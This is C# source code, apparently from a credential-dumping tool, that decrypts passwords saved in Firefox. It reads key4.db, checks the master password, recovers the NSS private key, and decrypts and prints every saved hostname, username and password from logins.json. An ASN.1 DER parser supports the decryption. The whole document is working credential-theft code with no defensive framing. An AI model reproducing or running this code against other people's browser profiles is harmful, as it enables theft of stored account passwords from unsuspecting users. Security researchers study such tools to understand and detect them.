public static void decryptLogins(string loginsJsonPath, byte[] privateKey) { // Decrypt credentials in logins.json using private key Asn1Der asn = new Asn1Der(); Login[] logins = ParseLoginFile(loginsJsonPath); if (logins.Length == 0) { Console.WriteLine("No logins discovered from logins.json\n"); return; } foreach (Login login in logins) { Asn1DerObject user = asn.Parse(Convert.FromBase64String(login.encryptedUsername)); Asn1DerObject pwd = asn.Parse(Convert.FromBase64String(login.encryptedPassword)); string hostname = login.hostname; string decryptedUser = TripleDESHelper.DESCBCDecryptor(privateKey, user.objects[0].objects[1].objects[1].Data, user.objects[0].objects[2].Data); string decryptedPwd = TripleDESHelper.DESCBCDecryptor(privateKey, pwd.objects[0].objects[1].objects[1].Data, pwd.objects[0].objects[2].Data); Console.WriteLine("\r\n----- Mozilla Credential -----\r\n"); Console.WriteLine("Hostname: {0}", hostname); Console.WriteLine("Username: {0}", Regex.Replace(decryptedUser, @"[^\u0020-\u007F]", "")); Console.WriteLine("Password: {0}", Regex.Replace(decryptedPwd, @"[^\u0020-\u007F]", "")); } }
public static void ExtractCredentials(string loginsJsonPath, string keyDBPath, string masterPassword) { if (!File.Exists(loginsJsonPath)) { return; } if (!File.Exists(keyDBPath)) { return; } // Prep ASN parser Asn1Der asn = new Asn1Der(); bool someResults = false; SQLiteConnection database = null; try { database = new SQLiteConnection(keyDBPath, SQLiteOpenFlags.ReadOnly, false); } catch (Exception e) { Console.WriteLine("[X] {0}", e.InnerException.Message); return; } string query = "SELECT item1,item2 FROM metadata WHERE id = 'password';"; List <SQLiteQueryRow> results = database.Query2(query, false); foreach (SQLiteQueryRow row in results) { // Global salt - item1 var globalSalt = (byte[])row.column[0].Value; // Parse ASN from item2 var item2Byte = (byte[])row.column[1].Value; Asn1DerObject item2 = asn.Parse(item2Byte); string asnString = item2.ToString(); // Password check // Check for pbeWithSha1AndTripleDES-CBC algorithm OID in ASN (1.2.840.113549.1.12.5.1.3) // Use to decrypt password-check if found if (asnString.Contains("2A864886F70D010C050103")) { // Get Entry Salt (password-check) var entrySalt = item2.objects[0].objects[0].objects[1].objects[0].Data; // Get ciphertext (password-check) var cipherText = item2.objects[0].objects[1].Data; // Decrypt password-check ciphertext & check if master password is correct decryptMoz3DES CheckPwd = new decryptMoz3DES(cipherText, globalSalt, Encoding.ASCII.GetBytes(masterPassword), entrySalt); var passwordCheck = CheckPwd.Compute(); string decryptedPwdChk = Encoding.GetEncoding("ISO-8859-1").GetString(passwordCheck); if (!decryptedPwdChk.StartsWith("password-check")) { Console.WriteLine("\n[X] Master password is wrong; cannot decrypt credentials.\n"); return; } } // Check for pkcs5 pbes2 algorithm OID in ASN (1.2.840.113549.1.5.13) // Use to decrypt password-check if found else if (asnString.Contains("2A864886F70D01050D")) { // Get Entry Salt (password-check) var entrySalt = item2.objects[0].objects[0].objects[1].objects[0].objects[1].objects[0].Data; // Get IV part2 (password-check) var partIV = item2.objects[0].objects[0].objects[1].objects[2].objects[1].Data; // Get ciphertext (password-check) var cipherText = item2.objects[0].objects[0].objects[1].objects[3].Data; // Decrypt password-check ciphertext & check if master password is correct MozillaPBE CheckPwd = new MozillaPBE(cipherText, globalSalt, Encoding.ASCII.GetBytes(masterPassword), entrySalt, partIV); var passwordCheck = CheckPwd.Compute(); string decryptedPwdChk = Encoding.GetEncoding("ISO-8859-1").GetString(passwordCheck); if (!decryptedPwdChk.StartsWith("password-check")) { Console.WriteLine("\n[X] Master password is wrong; cannot decrypt credentials.\n"); return; } } else if (!asnString.Contains("2A864886F70D010C050103") && !asnString.Contains("2A864886F70D01050D")) { Console.WriteLine("\n[X] Unrecognized encryption algorithm.\n"); return; } database.Close(); // If master password is correct, proceed to get private key try { SQLiteConnection keyDatabase = null; keyDatabase = new SQLiteConnection(keyDBPath, SQLiteOpenFlags.ReadOnly, false); // Parse ASN from a11 string keyQuery = "SELECT a11,a102 FROM nssPrivate;"; List <SQLiteQueryRow> keyResults = keyDatabase.Query2(keyQuery, false); foreach (SQLiteQueryRow keyRow in keyResults) { // Read ASN Value from a11 in nssPrivate var a11Byte = (byte[])keyRow.column[0].Value; Asn1DerObject a11ASNValue = asn.Parse(a11Byte); // Get Entry Salt (privateKey) var keyEntrySalt = a11ASNValue.objects[0].objects[0].objects[1].objects[0].objects[1].objects[0].Data; // Get IV part2 (privateKey) var keyPartIV = a11ASNValue.objects[0].objects[0].objects[1].objects[2].objects[1].Data; // Get cipherText (privateKey) var keyCipherText = a11ASNValue.objects[0].objects[0].objects[1].objects[3].Data; // Decrypt private key ciphertext MozillaPBE PrivKey = new MozillaPBE(keyCipherText, globalSalt, Encoding.ASCII.GetBytes(masterPassword), keyEntrySalt, keyPartIV); var fullprivateKey = PrivKey.Compute(); // Trim private key - we only need the first 24 bytes byte[] privateKey = new byte[24]; Array.Copy(fullprivateKey, privateKey, privateKey.Length); // Decrypt & print logins decryptLogins(loginsJsonPath, privateKey); keyDatabase.Close(); } } catch (Exception ex) { Console.WriteLine(ex.ToString()); } Console.WriteLine("\n[*] Done.\n"); } }
public Asn1DerObject Parse(byte[] dataToParse) { Asn1DerObject parsedData = new Asn1DerObject(); for (int i = 0; i < dataToParse.Length; i++) { byte[] data; int len = 0; switch ((Asn1Der.Type)dataToParse[i]) { case Type.Sequence: if (parsedData.Lenght == 0) { parsedData.Type = Type.Sequence; parsedData.Lenght = dataToParse.Length - (i + 2); data = new byte[parsedData.Lenght]; } else { parsedData.objects.Add(new Asn1DerObject() { Type = Type.Sequence, Lenght = dataToParse[i + 1] }); data = new byte[dataToParse[i + 1]]; } len = (data.Length > dataToParse.Length - (i + 2)) ? dataToParse.Length - (i + 2) : data.Length; Array.Copy(dataToParse, i + 2, data, 0, len); parsedData.objects.Add(this.Parse(data)); i = i + 1 + dataToParse[i + 1]; break; case Type.Integer: parsedData.objects.Add(new Asn1DerObject() { Type = Type.Integer, Lenght = dataToParse[i + 1] }); data = new byte[dataToParse[i + 1]]; len = ((i + 2) + dataToParse[i + 1] > dataToParse.Length) ? dataToParse.Length - (i + 2) : dataToParse[i + 1]; Array.Copy(dataToParse, i + 2, data, 0, len); var parsedDataArray = parsedData.objects.ToArray(); parsedData.objects[parsedDataArray.Length - 1].Data = data; i = i + 1 + parsedData.objects[parsedDataArray.Length - 1].Lenght; break; case Type.OctetString: parsedData.objects.Add(new Asn1DerObject() { Type = Type.OctetString, Lenght = dataToParse[i + 1] }); data = new byte[dataToParse[i + 1]]; len = ((i + 2) + dataToParse[i + 1] > dataToParse.Length) ? dataToParse.Length - (i + 2) : dataToParse[i + 1]; Array.Copy(dataToParse, i + 2, data, 0, len); var parsedDataArrayTwo = parsedData.objects.ToArray(); parsedData.objects[parsedDataArrayTwo.Length - 1].Data = data; i = i + 1 + parsedData.objects[parsedDataArrayTwo.Length - 1].Lenght; break; case Type.ObjectIdentifier: parsedData.objects.Add(new Asn1DerObject() { Type = Type.ObjectIdentifier, Lenght = dataToParse[i + 1] }); data = new byte[dataToParse[i + 1]]; len = ((i + 2) + dataToParse[i + 1] > dataToParse.Length) ? dataToParse.Length - (i + 2) : dataToParse[i + 1]; Array.Copy(dataToParse, i + 2, data, 0, len); var parsedDataArrayThree = parsedData.objects.ToArray(); parsedData.objects[parsedDataArrayThree.Length - 1].Data = data; i = i + 1 + parsedData.objects[parsedDataArrayThree.Length - 1].Lenght; break; default: break; } } return(parsedData); }